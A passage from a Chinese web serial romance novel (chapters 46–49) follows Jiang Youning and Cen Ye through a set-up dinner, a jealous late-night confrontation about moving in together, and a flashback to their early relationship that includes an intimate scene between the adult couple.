整个部门简直是大换血,裁掉爱摸鱼的新老员工,将总部的奋斗血液融合进来,再加上庄玟这边强有力的加入,盘活的时间确实很快。 “我们部门终于算稳定了。”姜又柠敲敲键盘,“那你之后是不是也要走了?” “走哪儿?”江诗文问她,“哦,你说去国外登记结婚?那应该挺快的了,看庄玟那边的时间安排吧,我倒是都无所谓。” 姜又柠有点挫败,“那你要是走的话,还回来吗?” “应该,还回来吧……” 以前她问江诗文的时候,江诗文总是肯定的答案,这次却说得很不确定。 那就是大概率不回来了。 家境好,母亲宠爱,不缺钱,本身也有一大堆同阶层的朋友,有什么必要在小部门裏努力工作呢? 姜又柠一早就在考虑这个问题了。 她是需要朋友互相提供情绪价值的人,找到同频的江诗文不容易,要是分别了以后说不定再也找不到这么要好的朋友了。 工作繁忙,社交圈窄,网络交友更是容易上当受骗,没时间又没钱,她苦涩得很。 颜歆这两天也有联系她,但她国庆假期之后连着上了一星期的班,给她推荐了些景点和好吃的好玩的之后也没进一步联系了。 如果可以的话,颜歆跟她成为朋友这件事情在她的考虑范围之内。 但因为姜鸿英尴尬的安排,还有岑曳跟她闹了那么一出,她现在也不知道自己还能不能跟颜歆见上面。 怎么这么令人烦躁呢? 快到十二点了,姜又柠连吃饭的心情都没有了。 她本来过得挺好的,住着便宜的出租屋,跟室友姐姐有事没事儿就出去逛街、散步,一起打游戏,一起看综艺,偶尔还能拉着江诗文一起参与。 工作也不多,都是一些不怎么动脑子的活儿,没人愿意接管这个部门,一潭死水,但又不会解散,所以每个人都在混日子。 好像荒废了时间,但努努力还能做什么呢? 毕竟她过得真的挺快乐的,除了晚上做梦梦到岑曳的时候,梦到小时候还在岑家住着的时候,醒来之后枕头上总有浅淡的泪痕。 现在岑曳回来了。 工作更忙了,住的小区更好了,可她没办法随心所欲地快乐了。 朋友也要走,交新的朋友也会被影响,姜又柠长嘆一口气,觉得人生好难好难啊。 还以为普通人只会因为缺钱而烦恼着,她居然会因为感情的事情一而再再而三地被影响。 要是像小时候那样就好了,她能够站在岑曳面前告诉她,‘姐姐,我只喜欢你啊,我就要住在岑家的大房子裏,我哪儿都不去。’ 小时候她只希望自己的世界裏有岑曳,但现在,她的世界裏好像在被迫只有岑曳。 到底该不该彻底断掉呢? 姜又柠有些受不了当下的藕断丝连了- 午休的时候,姜鸿英发来了几张图片,热情地夸赞了颜歆,说这是她买来的一些补品和糕点。 糕点含糖量不高,上了年纪的人都挺爱吃的。 【姜鸿英:歆歆这姑娘看着就不错,最近你来看妈妈的次数可少多了啊。】 【姜又柠:工作太忙了。】 这是实话,部门被整顿,工作量翻三番。 【姜鸿英:歆歆就在宿舍旁边的小区住,三天两头来看你颜阿姨。】 【姜鸿英:你跟歆歆肯定玩儿得来,这是基因决定的,你看妈妈跟你颜阿姨做朋友十几二十年了,还是这么要好。】 【姜又柠:基因决定的?又是上哪儿学的?】 【姜鸿英:在雇主家裏听到的嘛,最近新雇主是个医生。】 之后姜又柠点开颜歆的聊天框,道了声谢。 【颜歆:不用客气,给我妈妈送的,顺便给姜阿姨也送一些,之前在国外,你帮我照顾妈妈的事情我感谢还来不及呢。】 姜又柠犹豫了几下,本打算发个表情包就结束的,颜歆的消息就又发来了。 【颜歆:上次你给我推荐的川菜馆我还没去,今天你下班要不要一起?】 ‘工作忙’还没发出去,颜歆便又来了一条。 【颜歆:又要用工作忙应付我吗?】 【颜歆:没别的意思,我妈妈实在催了太多次,跟你吃顿饭好跟她解释,不然我耳朵都要起茧子了。】 想来两个母亲的意愿都很一致,最近姜鸿英的消息也是三句话两句不离颜歆。 姜又柠只好同意了。 这也没办法,当妈妈的可以一直重复说,但做女儿的不能一直拒绝。 可岑曳那边实在难办,姜又柠思索了下,“诗文,一会儿我有事情要早点走,要是有人问我,你就统一说我去厕所了,然后下班的时候帮我关一下电脑。” “好,没什么急事儿吧?” “没有没有。”姜又柠摇摇头,“就跟之前一样,上班上得头疼,提前回家休息一下。” 只要能按照下班时间准时到家就好了,到时候再跟岑曳单独出门吃顿饭。 四点半的时候,姜又柠拿了外套往身上穿,临走之前,她拍拍江诗文的胳膊,“记住啊,谁问都说我去厕所了!谁问都要这么说!” 有没有人问无所谓,主要得把她还在公司这个谎言给散播出去。 江诗文牢牢记住了这一点。 之后但凡有人路过,无论是经意间还是不经意间,她都会指着身边的工位对着那人说,“柠柠去厕所了,她今天奶茶喝太多了。” 直到有个人路过三次听到了重复的一句话,便问,“半个多小时了还没回来?” “哦哦哦……奶茶是正常冰,现在天冷,她可能有点拉肚子。”江诗文笑着解释,佯装着自然。 没过多久,岑曳从办公室裏出来,面色不耐地将文件扔到助理的工位上,“这些都重做。” 助理先是点点头,看见岑曳离开之后,忧愁得很,“负责这些的人都被劝退了我找谁做啊……” 回办公室的路上,岑曳余光瞥见了某个空着的工位。 “她人呢?” “去厕所了,天气冷,她喝了冰奶茶,有点拉肚子,所以去了挺久的。”江诗文流畅地将这句话说出来。 “今天你们喝了几杯奶茶?” “就两杯啊?”江诗文疑惑道,“庄玟买的,一人一杯,她是不是没给你买?她这个人也真是的!” “她喝了庄玟买的冰奶茶拉肚子去了厕所?” 听见岑曳倏地重复,江诗文歪头不解,“对啊……” 那杯奶茶明明在她的办公桌上动都没动,还是热的。 又在搞什么鬼? 岑曳抿着唇就去了办公大楼的物业,亮了工牌说,“我部门裏丢了东西,帮我调一下监控吧。” 物业查看了下她的工牌,带着她去了监控室。 裏面的保安正阖眼休息,听见门口有动静立马睁开了眼睛。 物业跟保安说了情况,便把这件事情交给了保安负责。 “八楼806是吧?”保安调出监控,“什么时候丢的?” “今天下午,午休后。” “那应该先找找的嘛。”保安不耐烦,“才这么会儿时间,看看在谁的工位上啊。” “您如果嫌麻烦,我可以自己看监控。”岑曳抱胸盯着屏幕,眼看见画面上的姜又柠跟江诗文交谈了几句话之后就大步离开了办公室。 “行行行,那你自己看。”保安撂摊子不管了,“不过回头东西没找到别赖在物业上啊,三天两头带着警察来看监控,麻烦。” 岑曳冷脸拿过鼠标,点开楼层外的监控,顺着姜又柠步伐的方向一路跟着看。 在她上扬起嘴角成功迈出大门的那一剎那,监控的画面就没了。 女人按下加速键,直到监控时间跟现在的时间重合,她都没有看见姜又柠回来的身影—— 作者有话说:[闭嘴][闭嘴] 第47章 姜又柠到达川菜馆的时候, 颜歆已经到了,她的手边放了个笔记本,正凝神回复着邮件。 她打了声招呼坐下, “你在忙吗?” “最近在找工作,回复一下邮件。”颜歆扶了下眼睛,“你之前来过这家, 要不还是你来点?” 姜又柠点点头,“你能吃辣吗?” “可以吃一点。” 依旧是几道招牌菜, 姜又柠还点了解腻解辣的冰镇绿豆汁。 “现在国内的工作不太好找。”在手机上将菜单提交之后, 姜又柠叮嘱店员做微辣就好了, 之后主动开启了话题。 “还好。”颜歆思索道, “就是心仪的工作不好找,得看点儿运气。” “没事嘛,你的学历那么好,肯定能找到满意的。” 颜歆看她一眼, 笑了笑, “希望吧。” 电脑被收起来,等待上菜的功夫,姜又柠想了想,还是认真开口,“其实前几天跟你第一次见面的时候, 场面有点尴尬, 我可能表现得不太自然。” “挺好的啊, 不过论谁突然被喊去相亲局,是都会手足无措的。” 听她这样直白地开口,姜又柠意识到颜歆应该也是个爽快人。 “那我能坦白讲吗?” “可以啊。” “其实我现在工作挺忙的,精力也没有以前充足了, 休息的时候就想躺在家裏,哪儿都不去。”姜又柠说,“我对恋爱也没什么想法,深入接触一个人太困难了。” 颜歆似乎已经有预料她会说什么,并没有露出太多的惊讶。 “我这个人是不是挺懒的?我见好多人当天下班之后都能去玩儿的,玩到凌晨几点回家还能早起上班。” “高精力人群是这样的,不用刻意跟这类人比。”颜歆也把话摊开了,“我之后的计划也是先在国内稳定下来,再慢慢考虑恋爱的事情。因为我妈常提起你,说你很照顾她,所以那天才给你带了礼物。离家很远的时候,总是得感谢我妈身边的朋友。” “其实我就是买了点儿她们上了年纪的人爱吃的东西,还有些牛奶什么的,没多少钱。”姜又柠坦诚讲,“我妈妈跟颜阿姨认识十几年了,她们两个才是互相照顾的好朋友啊。” “我一直在邻省读国际学校,大学又直接去了国外,一年之内跟我妈妈见面的次数屈指可数。”颜歆说,“总之还是谢谢你。” 饭菜被送上来,颜歆跟她礼貌碰杯,“如果以后能有我帮得上忙的,我一定帮你。” 姜又柠点点头,闷头吃起了饭。 她们来得早,这会儿到了饭点,川菜馆内陆陆续续来了不少客人。 颜歆尝了一口水煮肉片,轻轻咳嗽了几下,“确实有点辣。” “绿豆汁挺解辣的。”姜又柠帮她又倒了一杯,“我叮嘱了服务员说微辣的,如果你接受不了就别吃这个了,或者你再点些别的?” 不过这家店她来了好几次,没吃过几道清淡的菜。 “没关系。”颜歆摆摆手,“刚回国,不太适应国内的口味,过段时间应该就好了。” 颜歆吃着想起来什么,“方便一起拍张照片吗?我给我妈妈发过去。” 姜又柠想起这顿饭的缘由,点点头将头凑到了相机的镜头裏。 一张合照裏还拍下了几道丰盛的饭菜,颜歆一并将这张照片发给姜又柠,“我最近因为找工作事情也挺多的,你给我发的景点我也没来得及去,只能等之后看有没有时间了。” “这个照片应该能应付挺久的了。”姜又柠笑道,“省得我妈妈跟颜阿姨又催我们见面。” 她时时刻刻盯着时间,生怕自己回家的时间晚了,被岑曳看出不对劲来。 颜歆看穿她的动作来,“你在担心什么事情吗?” 姜又柠顿了下,她紧张的情绪真的表露得如此明显吗? 她已经尽量将自己所有的注意力全都放在面前的饭菜上了。 “对不起。”姜又柠道了歉,吃饭的时候频繁看手机不太礼貌。 “如果有急事儿的话你可以先走,不用在意别的。”颜歆格外善解人意,嘴角的笑意挂了很久,不过浅淡得很,斯斯文文的,“这家店的装潢挺有风格的,氛围也不错,我想在这儿多坐会儿。” 她像是看到什么好玩儿的,拿起手机现拍了张照片,又示意姜又柠看。 是店内的灯笼,亮着暗红色的光芒。 姜又柠按照时间准时离开,临走前买了单,还了上次吃饭被请客的人情。 打车回去的路上,上个月的工资准时到账了。 下个月她会有一笔奖金,听江诗文说,是昨天月度彙报结尾的时候,总监助理按照业绩和工作内容表扬的几个员工。 五个人裏面,她是其中之一。 姜又柠把吃饭的账单记录进了记账app裏,计算着自己这个月花了多少钱。 意外的,她花的钱要比之前少了很多。 搬进高檔小区之后,附近的超市也不便宜,她之前设想的是一个月除了房租以外,日常花销至少要再多出一千块钱。 但现在,除了房租,她的月账单至少比之前平均花销少了一千。 好像钱…… 都是岑曳花的。 去超市买食材,一起出去吃饭,她从来都没有买过单。 岑曳刚刚回国的时候,她还想着请吃饭还人情,但后来这个想法甚至不了了之了,谁都没有再提起过。 越是熟稔,就越不会在一日三餐这种事情上算得很清。 她现在又逐渐把岑曳划在自己人的范围内了吗? 晚高峰路上实在太堵,姜又柠盯着手机看,想着回家的时候该怎么解释下班没有等岑曳一起走的理由。 这个女人应该消气了吧? 中午她去办公室,虽然去问了庄玟的事情,但那也算她主动服软啊,不然她才懒得搭理她。 短短一千米的路堵了半个多小时,姜又柠嘆口气,手指翻来覆去地在她跟岑曳的聊天界面裏滑。 岑曳应该早都到家了吧? 她们办公大楼那儿比较偏,来往的都是些附近上下班的人。 而刚才那家川菜馆又是市区的位置,附近有太多餐厅,碰上饭点更是堵得一塌糊涂。 从公司来的时候只需要半个小时,回家的出租车就开了一个多小时。 一身疲倦,跟不熟悉的人吃饭要比上班还要耗神。 不过能把恋爱这种说开了就挺好的,她们目前都没有恋爱的想法,一起吃饭不过是为了应付一下两位母亲‘也可以做朋友’的想法。 客厅内的灯开的是暖光,女人盘腿坐在地上,茶几上放着一瓶红酒,屏幕上播放着最新一期的恋爱综艺。 姜又柠穿着拖鞋走近,“你怎么开始自己看这个了?” 岑曳没有挪开目光,“看看你的喜好是不是变成书呆子了。” 正巧最近两期恋爱综艺开始了一对新的cp,裏面有个女人也是高度近视,戴着一副黑框眼镜。 “你怎么还在想这件事情?” “去哪儿了?”岑曳关掉电视,终于看向她。 “去……”姜又柠撒谎的话憋在了嘴边,怎么也说不出口。 女人那双复杂又深邃的眼睛,几乎能将她的一切小心思看透。 “吃过饭了吗?”岑曳问她,“你身上有饭菜的味道。” 姜又柠没有回答,看向茶几上的红酒瓶,已经空了一多半,“你喝太多了吧?空腹喝的?” 她把红酒拿走盖好,“还说我老爱喝酒,你不也自己偷偷喝?” 岑曳撑着沙发坐起来,半倚靠着,“下个月房子就到期了,房东前几天问我,还要不要续租房子。” 姜又柠愣在原地,“我,我是想续租的,你呢?” “你想吗?” 姜又柠点点头,“想的,这个房子我住的挺好的。” “我是说,你乐意我继续跟你一起住吗?”岑曳睨她,“还是说,你想换个新的室友?比如,戴眼镜的?刚回国的?母亲介绍的?” 女人的话染了些醉意,尾音是飘着的,很轻很缓。 真有几分认真问她的样子。 但姜又柠知道她在讽刺,“你要是不想住就算了。” 岑曳轻轻地笑了笑,“我是不打算住这裏了。” 这个答案是姜又柠没想过的,她鼻子倏地酸了,“……那你把房东微信推给我,我跟她聊续租的事情。” 想听的话没听到,女人闭上眼睛,“着急什么?这么急着找室友?” “岑曳……”姜又柠大步走到她面前,“你别老这么误解我,你都说了你不准备住这裏了,那我不能问吗?” “不挽留一下我吗?”岑曳轻轻地笑,“我挺伤心的。” 她继续说,“离得这么近,你身上跟别人一起吃饭的味道更重了。” “你不能这么误解我……”姜又柠擦掉自己眼角的濡湿,“我之前跟你解释得很清楚的。” 她甚至可以不用跟她解释,没有立场没有缘由的。 这是她正常的交友。 “有想过跟我复合吗?” 岑曳突然这样问出口。 姜又柠张了张唇,落下一滴泪来,“……想过。” 女人抬手,视线落在手背上的那滴泪上,“只是想过吧?” “因为觉得不可能。”姜又柠不止一次这样重复,“你明明知道原因,我需要退路的,岑曳……” 她抑制不住自己的眼泪,“我不能没有退路,我什么都没有……” 毕业那年运气好,进了大公司,她在本地发展得挺好的,要不是当年岑曳跟她分手后出了国,离开A市的说不定就是她了。 那个时候她还只是学生,没有任何发展,现在就更谈不上离开这裏了。 她跟岑曳不一样的。 岑曳没有她会过得更好,她给不了岑曳任何帮助。 而且,她不想自己再次染上对岑曳的依赖性,当初分手伤她太深,她不愿意回想那段痛苦到恶心反胃的日子。 “你在国外过得很好,你可以不回来的……”姜又柠捂住眼睛,“别为了我做这种事情,为什么要为了我做这种事情……?” 她还不起的,小时候她们就欠岑家的,现在她依旧欠岑曳的。 “我过得不好,柠柠。”岑曳直勾勾地看她,“我过得不好。” 只有重新见到姜又柠,她才有让冰冷的自己有生动的可能性。 小时候被机械的学习压垮,是姜又柠给她带来了灵活的变化。 国外疲惫的工作更是让她疲惫得一团乱麻,只有姜又柠才会给她的生活注入灵水,将死潭重新搅动起生命力来。 “我只想见你。”岑曳站起来,擦掉她的眼泪。 姜又柠总在幻想着她在国外过得很好,努力说服她们自己,当初分手的决定是正确的。 “我还不起你的……”姜又柠吸了吸鼻子,“我不能想做什么就做什么。” 她反驳着小时候岑曳告诉她的那句话,时时刻刻证明过去并不能代表现在。 “你可以。” 姜又柠终于哭着问她,抓住了最小的一件事情问,“可是我现在都留不下你,你说我为什么不挽留你,但我什么时候改变过你的决定呢?” 既然岑曳决定不再续租,那她的挽留就是毫无作用的。 在感情上,岑曳让她为所欲为/随心所欲。 在个人抉择上,姜又柠什么都做不到。 “想跟我一起住?”岑曳的嘴角逐渐露出些许笑意。 姜又柠重重点头,心中不抱什么希望。 “我在回国前就定下了一套房子,各项手续都已经办好了。”女人的眸光中不再是微醺的醉意,她看着姜又柠泪眼模糊的样子,一双眼睛裏满是势在必得,“你想的话,就跟我一起搬过去。”—— 作者有话说:我们岑姐还是觉得卖惨有效,小姜哭唧唧的时候最好说话了~~ 第48章 大一刚入学的时候, 是岑曳特意请了天假开车送姜又柠入校的。 宿舍是提前在校网上抢的,姜又柠喊了好几个朋友帮自己,幸运地住进了最好的四人寝。 室友当天都是家长陪着来着, 姜又柠介绍岑曳是自己的姐姐,家裏的姐姐。 室友礼貌地夸赞岑曳漂亮,目光裏带着羡慕, 姜又柠高兴得很,就差变成一个气球膨胀起来飞到天上去了。 开学之后, 岑曳就常来学校给姜又柠送东西, 偶尔是些巧克力, 偶尔是些甜品。 大一军训, 姜又柠皮肤脆弱,一下子就晒黑了不少。 她每次见岑曳的时候都要用帽子和口罩把自己捂得严严实实的,岑曳要取她的口罩还不乐意。 “太丑了太丑了,等我军训结束周末回家了再给你看。” 岑曳的动作不再往下进行, 只是嘱咐她好好吃饭, “学校的饭要是不好吃就告诉我,我早中晚带着你去外面吃。” “干嘛!我不用!”姜又柠嘴角扬得高高的,“我要跟室友打好关系,不能这样弄的,而且你之后也别一直来学校了。” 岑曳将手裏给她买的东西又一次递给她, “嫌我烦了?” “我是怕你太辛苦!你公司离这儿近吗?” “挺近的, 上班的时候可以顺路路过这裏。”岑曳思索道, “你想的话,我把姜阿姨做的饭打包给你带一些,这样你也能吃得惯。” “我又不是千金大小姐,不用这么好的待遇。”姜又柠两排洁白的牙齿露出来就再也没合上过了, “你这样要把我宠坏了。” “宠坏了最好,省得你上了大学跟着别的女孩子跑了。”岑曳的眸光裏有着认真。 “说不定呢姐姐。”说完岑曳就将她迷彩帽的帽檐往下压了下。 “不会的不会的!姐姐对我这么好我怎么可能会跟别人跑呢!”姜又柠抿唇笑,看了眼时间,“我得回去了,晚上还有晚自习呢。” 岑曳点点头,视线在她脸颊上来回流连,“有什么事情就给我打电话。” 姜又柠冲她摆摆手就往校园裏面跑,一步三回头。 下一秒,她又停下脚步,转身跑回来抱住岑曳,“姐姐,我会想你的!” 她发出爽朗的笑声,小跑着回去,身影逐渐在女人的视线范围内消失不见了。 军训维持了两个星期,姜又柠终于穿上了自己的衣服。 周五傍晚的时候,岑曳又一次开着车子来接她,帮她拎过肩上的斜挎包,帮她整理着不够整洁的领口。 “又柠,你姐姐又来接你啦?对你真好!” 姜又柠是跟室友一起出来的,本来要主动牵过岑曳的手,这下听到室友的话便收回了手,“对呀对呀。” 女人将她的动作尽收眼底,拽过她的手就往车子的方向走。 “怎么了?”姜又柠从口袋裏拿出一个迷你镜子照着自己的脸,“我在脸上涂了粉底液来着,你看看我有没有白回来一点?” 她没有这样认真地化过妆,以往都是看着岑曳坐在梳妆臺前的时候,会浅浅地试一下口红然后很快就擦掉。 “我认真化了好久的,但是脖子是不是也应该抹一下?好像有点分层了。” 岑曳认真看她,指腹在她颊边蹭了几下,立即被她扒开,“别给我蹭掉了!” 女人轻轻地笑,搂住她,低头吻了上去。 姜又柠往后挣扎了下,但是没能成功脱身。 后颈被女人温暖的掌心覆盖住,她连扭一下头的动作都做不了了。 岑曳抱她很紧,舌尖勾着她的唇,抵着她的齿间很快就探入了口腔内。 手指摩挲着她的腰腹,姜又柠只穿了件吊带,指尖轻触着她的腰间肌肤,掀起了一层细微的痒意。 姜又柠攥紧她的衬衫,喘/息声和呜咽声全都被迫吞回了肚子裏。 周五傍晚,校门口的停车位不好找,尽管这裏偏僻,但还是陆陆续续有不少人路过,车子挡不了多少。 双唇松开,牵扯出一条细腻的丝,绷断在唇角,冰冰凉凉的,姜又柠下意识舔去。 “万一被我室友看见怎么办?” “看见怎么了?” “我跟我室友说,你是我姐姐,被看见了就完蛋了。” “姐姐?”岑曳歪头看她,“你介绍的是哪种姐姐?” “我没说那么详细,但看这两星期你对我照顾的程度,她们应该把你当成我亲姐姐了。”姜又柠认真说,“要是真的被她们看见了,我不好解释的。” “亲姐姐又怎么了?”岑曳不以为然,“我们要真是亲姐妹,也不一定没有互相爱上的可能。” 姜又柠踮起脚尖捂住女人的嘴,“你说什么呢!乱说话!” 岑曳抓过她的手腕,“我是认真的。” “那我该庆幸我们不是亲姐妹吗!”姜又柠轻轻哼一声,坐上车子系好安全带。 “庆幸?”岑曳启动车子,“要真是发生了这种情况,我会想办法的,你好好待在我身边就行,什么都不用担心。” 姜又柠翘起唇,“那下辈子再说吧。” 因为军训晒黑了,姜又柠两个星期都没回家了,但两个人倒是天天见面。 室友都说姜又柠家裏是本地的怎么还这么恋家,让姐姐天天来送东西,也不嫌麻烦。 每到这个时候,姜又柠都会无奈地扶额,“我都说了我不用的,我姐姐非要给我送嘛。” 家裏没什么人,姜又柠进了客厅就左脚踩右脚脱掉了自己的鞋子,抱住岑曳的腰就吻了上去。 她不隐藏自己的爱意,也格外喜欢主动这个词语。 两个星期内,都是草草见了十几分钟就分别了,什么都做不了,她想岑曳想得紧,在没人的地方,喜欢就完全绽放出来了。 岑曳跟在她身后,本来正在皱着眉头将玄关处的鞋子全都摆放整齐,这下被她抱住,什么都做不了。 “去洗个手。”岑曳推了她下,“饿不饿?” “不饿不饿!”姜又柠摇摇头,又改了口,“饿了饿了!我想吃你!” 她伸出手去解女人衬衫领口的扣子,对着锁骨又啃又咬。 “去洗手。”岑曳看见她脏兮兮的手,眉头皱得更深。 “你什么时候改掉你的强迫症嘛……好破坏气氛哦……”姜又柠闷闷不乐地去了洗漱间将手裏裏外外,每个指节都认真搓洗了好几遍。 “看你的课表,周五放学得早,我没让你妈妈早些来做饭,下周要不要改一改时间?” “不用啊,你按照你上班的时间嘛,正好我给我妈妈打下手,这样能找个理由住家裏。”姜又柠冲洗着手上的泡沫,“你是不知道,我妈最近又准备让我回集体宿舍住呢,说我都大学了,住家裏太打扰了。” “而且她说我现在周末也能住学校了,就不让我老往家裏跑了。”姜又柠嘆了口气,“我要是见不到你怎么办嘛……” 岑曳摸摸她的头,“我再帮你找个借口。” 姜又柠就等着她这句话,甜蜜蜜地将脑袋往她胸前蹭了蹭,小跳着去了客厅。 茶几上放着打开的电脑,姜又柠问她,“你今天又是请假来接我的?” “翘班。” “翘班?你什么时候是工作这么不认真的人了?”姜又柠叮嘱她,“下次不准了!” “骗你的。”女人笑了笑,“今天周五下午团建,我没参加。” “团建好玩儿吗?” 岑曳想了想,“跟学校的团日活动差不多吧。” “那挺无聊的,听说开始上课之后,团日活动每周一次呢,军训的时候半个月弄了一次,一群人坐在一起听团支书念流程,还不如瘫在床上玩儿手机。” 姜又柠坐在沙发上看见女人打开电脑,处理着工作,又问,“你周末忙吗?” “还好,我就回个邮件。” 姜又柠‘嘻嘻’地笑了下,若无其事地走到女人身边,然后担心地问,“你胳膊怎么了?” “什么?”岑曳抬起手看了下,没觉得哪裏有不对劲。 “少个东西。” 女人笑而不语,等着她的下一步花招。 “少个我啦!”趁着岑曳张开手,姜又柠扑进她的怀裏,坐在她的腿上,搂住她的脖子,“我手洗干净了,你也洗干净了,我没有作业,你工作又不忙,现在我们可以亲亲了吧?” 岑曳因她扑过来的动作后仰了下,掌心落在她的后腰上,顺势让她趴在了自己的身上。 身体紧紧相触,交彙的视线裏满是暧昧的眸光。 女人一手抓住她的,十指紧扣,两双唇很快就吻在了一起。 姜又柠的后腰依旧被她按住,挣脱不得,这种留了挣扎的余地却怎么也逃离不开的姿态让她很快就有了感觉。 “我们柠柠,脸好红啊,热的?” “你故意这么问我!”姜又柠急得去咬她,在女人的锁骨上又一次留下了压印。 岑曳的手指下滑,在她瀑处停留,询问着她的意见,“这次在这裏吗?” 她们很少换新的地点,永远都是在卧室的床上。 新场景只会加重刺激感,姜又柠倒吸了一口凉气,感受了指腹的轻按。 “唔……”她呜咽了一声,将脑袋埋在女人颈窝裏不好意思回答。 女人在她耳边轻轻地笑,“那我就当你默认了?” 亲吻继续进行,下一秒不远处电子锁的滴滴声就响了起来。 姜又柠心中警铃大作,“姐,姐姐……” 她很快被松开了,立即弹坐去了另一边的单人沙发上,警惕地望向门口。 “岑小姐,今天路上堵,我来得晚了会儿。”姜鸿英笑着走进来,转眼看见单人沙发上的姜又柠,“怎么又跑来这儿了?给你发消息也不回。” 姜又柠立即拿过茶几上的手机,紧张地吞咽了下,先是用黑屏照了照自己的脸,然后才去看手机,“五分钟前的,我,我在写作业呢……” 可沙发上/茶几上,哪裏有作业本的痕迹? 岑曳抿唇舔去嘴角的濡湿,指腹轻轻摩挲了几下,“柠柠军训也挺辛苦的,姜阿姨,你也别老批评她了,她乐意来就来,有没有分寸我还能不知道吗?” 每次岑曳开口,因为身份问题,姜鸿英都不好再多说什么。 她拎着一大袋食材转身去了厨房,眼神示意姜又柠过去帮忙。 岑曳的视线跟随着母女两个进了厨房之后才收回来,可注意力迟迟都没能再放到面前的工作上了。 连衣服都没脱,就只是面对面抱着亲了会儿,不然姜又柠早该吓坏了。 途中姜又柠用筷子夹了块肉,手托在下面小跑到女人面前,“姐姐,你尝尝熟了没?” 岑曳张唇吃掉,心情愉悦,“味道不错。” “可是我也很好吃的……”姜又柠戳了戳女人的胸,“你刚才没吃到,有没有很可惜?” 岑曳望了眼厨房的方向,抿唇笑了笑,捏了几下她的脸颊,笑她胆子真大。 姜鸿英做完晚饭就离开了,姜又柠得意洋洋的,又因为岑曳开口挽留而留在了岑家。 她吃着饭,心思早就不在这顿美味的晚餐上了。 反观岑曳慢条斯理地进餐,一点儿也没有着急的意思。 “你……”姜又柠犹豫地开口。 “怎么了?” 姜又柠想了下,起身坐到了女人的旁边,小声告诉她,“我吃饱了,你吃饱了吗?” “饱了吧。” “什么叫饱了吧?”姜又柠不满意,“你应该说我还没有吃饱,我现在应该吃你了。” 岑曳无奈地盯她几秒钟,“又是去哪裏乱学的?” “那你说想不想嘛。” 女人舔了舔唇,凑近她的脸,“我看你倒是很想啊。” 姜又柠重重点头,看着她这张近在咫尺的脸蛋,主动凑上了自己的唇。 岑曳立即搂过她,防止她坐得不稳摔倒。 舌尖勾缠,口腔内是果汁的甜蜜,两双唇立即吻得难舍难分。 岑曳抱起她,将她放在餐桌上,“怎么说来着?吃你?” 姜又柠捂住眼睛羞得不行。 真奇怪,这话她能说得脸不红心不跳,偏偏从岑曳这张嘴巴裏说出来就那么撩人。 “脸红什么?”岑曳故意问她,“不是你让我这么说的?” “我没有!”姜又柠死不承认,捂住眼睛的手又被女人抓下来放在手心吻了吻。 岑曳倾身一路吻她,掌心轻拍着安抚她,也防止她不安分地乱动。 她瘦瘦小小的,岑曳心疼看她,“又瘦了这么多?说了带你出去吃饭也不乐意。” “我不能搞特殊的……”姜又柠话刚说完,就咬唇感受着女人的吮吸。 两人的呼吸都变重了,姜又柠望着天花板,眸光中逐渐晕出了水雾。 她手忍不住攥紧女人的长发,轻轻揪扯着女人的发根。 细微的疼痛让岑曳下口重了些,她闭了闭眼睛,海盐味儿的大雨倾盆而下。 岑曳吻住她的唇,帮她缓解着震颤的情绪。 “姐姐……”姜又柠轻声呢喃着,眉眼裏全是少女诚挚的喜欢,“好喜欢你……” “我们柠柠,永远都这么可爱呢。”岑曳拿了毯子盖住她,将她抱起来又一次放在了自己的腿上。 姜又柠大口呼吸着,轻嗅着女人身上手工皂独特的芳香。 好久好久没有这样过了,跟岑曳待在一起的时候,她永远可以什么都不去想,一切交给岑曳。 她对岑曳的信任是百分之百的,无论何时何地。 岑曳轻拍着她的后背,将一杯温水递到她的唇边喂给她喝。 “累吗?” “不累。”姜又柠摇摇头,语气有些虚,尾音仍旧飘忽着,“就是酸酸的……” “哪裏?” 姜又柠握拳锤她胸口,没有回答。 许久,她的思绪逐渐回了神。 “晚上那会儿也太吓人了……要是被我妈妈发现了,那我真的会完蛋的!” “怎么被谁发现你跟我谈恋爱都要完蛋?”岑曳问她,“这么怕丢脸?” “不是丢脸!我妈妈一直叮嘱我的,要我懂得分寸,不要得寸进尺。” “你想吗?” “我当然不想了!”姜又柠甜蜜蜜地笑,“我巴不得你对我也没分寸呢。” 女人无奈地笑出声来,“那你可能会受不了的。” “你不试试怎么知道?!” “想试啊?”岑曳看见她点头期待的样子,“之后找个机会吧。” “那前提是不会有人打扰啊。” “有个办法。”岑曳望着餐桌,眸光柔和,像是陷入了遐想之中,“等之后你再长大一些,独立一些,我们就买栋新房子住。” “嗯!我要住大房子!”姜又柠搂住她的脖子,在她脸颊上‘吧唧’亲了一大口,“到时候我们要一起搬进去住!”—— 作者有话说:昨天看到一个读者的长评,然后意识到我们岑姐是天降青梅耶~~ 第49章 岑曳的话姜又柠是有想过的, 但没想到她真的会这么做。 “国外的时候定下来的,你什么时候就开始考虑买房了?”姜又柠的眼泪一下子就止住了。 这个女人铺垫了这么多,就是想让她跟她搬到一起住吗? 那是岑曳的房子, 不是她们一起买下的房子。 姜又柠深知,这是两个完全不同的概念。 “在好多年前,我们约定好以后要一起搬进大房子裏的时候, 你信吗?” 那个时候她还不太确定自己要在哪裏发展,但那一瞬间, 她想跟姜又柠一起有个家。 姜又柠还在上大学的时候, 她就已经在看好地段了。 那个时候钱不多, 她当然不会朝着岑千兰开口, 但她可以贷款。 区区一个首付而已,她承担得起。 但后来感情破裂来得过于突然,她被迫去了国外,买房这件事情也就不了了之了。 这几年来, 她的存款够买下好几套房子了, 但要一起住进去的人已经不在她身边了。 可她的想法依旧没变,她把一切都准备好,等着日后复合,将姜又柠接进房子裏就好。 刚回国的时候,意外发现江诗文跟姜又柠关系密切, 她就放弃了搬进房子的打算, 巧合般得跟姜又柠合租。 所有的事情都太顺利了, 可难题依旧跟过去一模一样。 困难没把她打倒,却把姜又柠的性格改变了。 没了肆意往前冲的韧劲,变成了失去棱角的成年人。 姜又柠说不出话来,“我们可以清醒的时候再谈这些吗?” 她清楚得知道岑曳根本没有喝醉, 只是下意识找一个逃避当下话题的借口。 “我下次再问你的时候,你又要找什么理由呢?”岑曳不打算让她逃走。 从小到大,她太了解姜又柠的性格了,哪怕变得圆滑了很多,但遇到不想处理的事情就喜欢找借口逃避的毛病根本没变。 “可是今天你喝酒了。” “你要是不翘班去跟别人见面,我也不会喝酒。” “你怎么知道我翘班一定就是去跟别人见面呢?” “不是吗?” 姜又柠没办法为自己辩解,以往她翘班只是单纯为了早点回家休息,或者偷偷懒。 但这次偏偏跟女人话裏说的一模一样。 她吸了吸鼻子,干掉的泪痕让她的脸颊有些刺痛。 